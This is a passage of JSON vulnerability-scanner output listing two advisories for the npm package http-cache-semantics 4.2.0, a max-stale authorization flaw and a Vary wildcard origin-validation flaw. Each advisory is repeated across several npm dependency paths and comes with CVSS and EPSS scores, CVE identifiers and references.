"baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": 